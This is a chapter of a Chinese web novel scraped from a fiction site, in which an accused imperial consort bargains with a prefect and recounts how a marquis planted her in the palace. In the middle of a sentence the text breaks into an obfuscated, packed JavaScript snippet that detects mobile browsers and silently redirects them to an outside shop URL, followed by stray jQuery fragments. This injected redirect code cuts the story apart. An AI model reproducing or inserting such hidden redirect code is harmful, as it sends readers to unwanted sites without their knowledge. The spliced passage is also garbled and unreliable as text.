文趣网 > 都市小说 > 男二他拿了男主剧本 > 4. 此女就是元妃?
    半个时辰后,她被带进了盛安城府衙的后堂。

    昏暗的灯光下,主位上坐着一位大官,身穿蟒袍、面色严肃。他看了看通缉令上的画像,又上下打量了一番菀夕。

    “秦牧,你确定此女就是元妃?”

    抓她过来的男人语气肯定,“下官在猎场上亲眼见过她,确认无误。”

    盛安府尹刘广孝眯起眼睛,摸了摸胡子,心里似乎在盘算着什么。

    三个月前,北川侯伴驾围猎。猎场上有一猎物发狂,险些伤了陛下。一名女子挺身而出,替陛下挡下了攻击。那女子原本是北川侯府的一名婢女,护驾有功,一跃受封成为元妃。

    如今陛下中毒暴毙,北川侯称是元妃下毒谋害,只因她倾慕侯府大公子,被迫入宫,对陛下怀恨在心。元妃畏罪潜逃后,又去烧了大公子所居的别院,大公子也就此殒命。

    这套说辞,唬的住其他人。可他却是万万不信的。

    北川侯的野心,他早有耳闻。陛下还在时,便曾暗中制衡。如今陛下驾崩,身后又无子嗣,最大的受益者就是北川侯。要知道,太祖曾经允诺侯府,如姬氏子弟未有子嗣,侯府一脉亦可继承皇位。

    “元妃娘娘,你可知道,弑君重罪是要凌迟处死的。”府尹顿了一下,来到菀夕身前,语气柔和了几分,“不过,你若肯供出幕后主使,本官可保你全尸。”

    菀夕抬起头,头脑迅速运转,仿佛看到了一丝求生的希望。“大人希望,背后主谋是谁呢?”

    “你出身北川侯府,主谋自然是你曾经的主子,北川侯北稷武。”

    菀夕忽然放松了许多,她靠在椅背上,嘴角微微勾了一下。

    她看明白了,盛安府尹是北稷武的反对者。

    上一代北川侯北渊性格不够圆滑,曾经得罪过不少大臣。拥护姬氏皇族的那批官员,本来就对侯府颇为不满。

    如今北稷武独揽大权,万人之上。那些拥护姬氏一族的保皇派,自然不会坐以待毙。

    他们是要从自己身上,撬出一个口子,将弑君之罪引向北稷武。

    俗话说,敌人的敌人就是朋友。

    不过,指认北稷武,对她来说并不是一条活路。毕竟那杯毒酒,确实是她亲手递出。她虽无意弑君,宁远帝却因她而死。

    就算主谋伏法,她又岂能全身而退。

    更何况,北稷武其人阴险狡诈,耳目众多。只怕她还来不及说出不利于他的话,就会先一步被他的人灭口。

    “小女子不过一介妇孺,确实担不起这滔天大罪。不过,供出主谋之后如果还是一个死,那我何必牵扯旁人呢。”菀夕道,“毕竟,北川侯曾对我有救命之恩。指认他的话,是要加筹码的。”

    话音刚落,秦牧上前一步,长刀出鞘,刀刃贴在她的下巴处,迫她抬起头。“元妃娘娘,你认为自己还有讨价还价的余地吗。”

    菀夕毫不畏惧地抬起头,清丽的侧脸映照在雪亮的刀刃上。她决定赌一把,强装镇定道:“两位大人,死了的元妃一文不值,只有活着的元妃才对你们有用。”

    话音刚落,她故意向下移了半寸。

    似乎完全不害怕刀刃稍一偏移就会割开自己的喉管,就此血溅当场。

    刘广孝眼神微动,示意秦牧收回兵器。

    “你要什么筹码?”

    “第一,我不是毒杀陛下的真凶,也没有参与谋划,所以我不是罪人,而是人证。你们要保护好我,事成之后,放我离开。”

    刘广孝在心里冷哼一声,但面上却露出和煦微笑。“若你能在朝堂上当着文武百官的面指认北川侯,便是助大胤澄清玉宇、拨乱反正的功臣。功过相抵,自有你一条活路。”

    “第二。”菀夕竖起第二根手指,“我要永安商行的一个全新账户,账户上要存三千两银子。印鉴和户头都是我的。”

    “第三呢?”

    菀夕歪了歪头,似乎认真思索了一下,然后平静地说:“我还没想好,先存着。”

    “不过。”菀夕眨了眨眼睛,话锋一转,“我要提醒一下两位大人,我被抓住的事最好不要走漏风声,否则北川侯必定派人杀人灭口。我死不足惜,两位大人可是肱股之臣,随我陪葬未免太可惜了。”

    秦牧的嘴角微微抽了一下,他突然发现,自己小瞧了这个女人。

    刘广孝哈哈一笑,又瞬间恢复了威严。“那是自然。”

    菀夕被关了起来。

    她一路上蒙着眼,也不确定自己被关在了哪里。只知道周围很安静,静的能听见人呼吸的声音。

    盛安府尹还算守诺,真的给她代办了一个永安商行的账户,她落在鬼市的东西也让秦牧拿了过来。

    秦牧拿出一张状纸,让她写下认罪书。“你的要求我们都做到了。你也应该拿出点诚意吧。”

    “都说了,我不是罪人。”菀夕嘟囔着,她的毛笔字堪称笔落惊风雨,蚯蚓找妈妈。让她写个名字还能勉强像样,写满一张纸恐怕要被人笑到下辈子。“我来说,你来写。”

    见秦牧一动不动,她补充道,“写完了我按手印。”

    于是,她娓娓道来,把自己是如何被北稷武诓骗进宫的事说了出来。

    那一天,修玟公子病重,北稷武传唤了她。

    “大哥的病越来越重了,就连宫里的御医也束手无策。你可知道,这是为何?”

    菀夕摇摇头。

    北稷武靠近她,声音突然压低了几分,声如鬼魅、字字泣血:“那不是病,是从娘胎里带出来的毒。太祖姬琅忌惮侯府军权,在我娘怀孕时给她下了毒,所以她才会早早病逝。那毒从未根除,一点点把兄长的身子耗损的心衰亏空,一步步走向短折而死。”

    菀夕心中一颤,她单知道姬氏对北川侯一脉十分忌惮。却不曾想到,血脉相连的两家人,竟然会用这样阴毒的法子迫害姻亲,连无辜妇孺都能下得去手。脑海中闪过修玟公子单薄的身影,心里骤然一酸。原来折磨他的从来不是什么棘手的病症,而是亲人相杀的险恶。

    “那,还有救吗?”她颤声问道,心里揪了起来,随即自言自语道,“一定还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815512|211043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有办法的,只要是毒,就有解药。”那样美好的人,不该死于阴谋诡计。他应该长命百岁地活着。他是那般清风朗月的神仙人物,怎能无辜受累、英年早逝。

    那一瞬间,她心中生出无限勇气,纵使是为他上刀山下火海,也在所不惜。“世子希望我怎么做。”

    见她问的直接,北稷武便也开门见山,“宫里御药房有一味九转还魂丹,此物入药做药引,可以拔除大哥体内的胎毒。”

    他顿了顿,说道,“我会安排你入宫,届时,你就是侯府放进宫里的一步明棋。”

    菀夕怔住,心里闪过一丝狐疑。“为什么是我?”侯府想安插人,有太多更好的选择。

    北稷武定定地看着她,说了一个她无法否认的理由。

    “因为你足够忠诚,你未必忠诚于我,但绝对忠诚于大哥。”最后他承诺,“我先用药吊住兄长一条命,你得了药引,便速速归来。”

    ……

    秦牧握笔的手顿了一下,“所以,围猎那日,你挺身救驾。一切都是侯府的计划。”他不由回想起那天的场景。那天,他有幸随君伴驾。一只素日温顺的宠物猎豹莫名发了狂,险些伤了陛下。危机时刻,一个侍从护在陛下身前,被抓伤了手臂。

    北川世子眼疾手快地搭弓射箭,射杀了发狂的豹子。

    那支箭矢,迅捷如流星,击碎了侍从的发扣。大庭广众之下,长发如墨色瀑布,迎风飞舞。

    众人这才发现,那名侍从竟是一个容色清丽的女子。

    尔后,陛下封那名女子为“元妃”。

    “对,那只是一场戏。猎豹发狂,也是北稷武的手笔。”

    秦牧微微蹙眉,随即看向菀夕,却见她不知何时躺在了一旁的榻上,双臂枕在头下。明明身陷囹圄,她却安之若素,心性倒是异于常人。

    菀夕看着头顶的天花板,沉浸在回忆的余韵中。

    说来也真是好笑,她原本还担心进宫后如何应对侍寝,结果宁远帝身子也不大好,只是偶尔寻她说说话。

    现在想想,自己属于是明牌的细作,宁远帝只是将计就计,自然不会亲近于她。

    “毒杀陛下的毒药也是侯府给你的吗?”秦牧又想起了什么,好奇道,“在场的宫人说,那里有两杯喝过的毒酒,你为何安然无恙?”

    菀夕垂眸,“我不知道那杯酒里有毒,虽然我对陛下并非真心,可也未曾想过害他性命。”随即眼神飘忽不定,一本正经道,“至于我为何没事,可能是上天不忍真相蒙尘,让我逃过一劫澄清真相。”

    “按照你的说法,毒杀陛下这件事完全与你无关。你既没有参与,也不知情。”

    “诚然。”

    秦牧沉吟片刻,瞥了一眼榻上的菀夕。

    孤男寡女独处一室,她却全无戒备之心。此女看似胸无城府,天真无邪,可言辞间机智狡黠,似乎有所隐瞒。

    墨迹未干,夜色中骤然响起一阵急促的铃声,清脆叮当。

    秦牧瞬间警惕起来,抽出长刀护在菀夕身前,“有人来了。”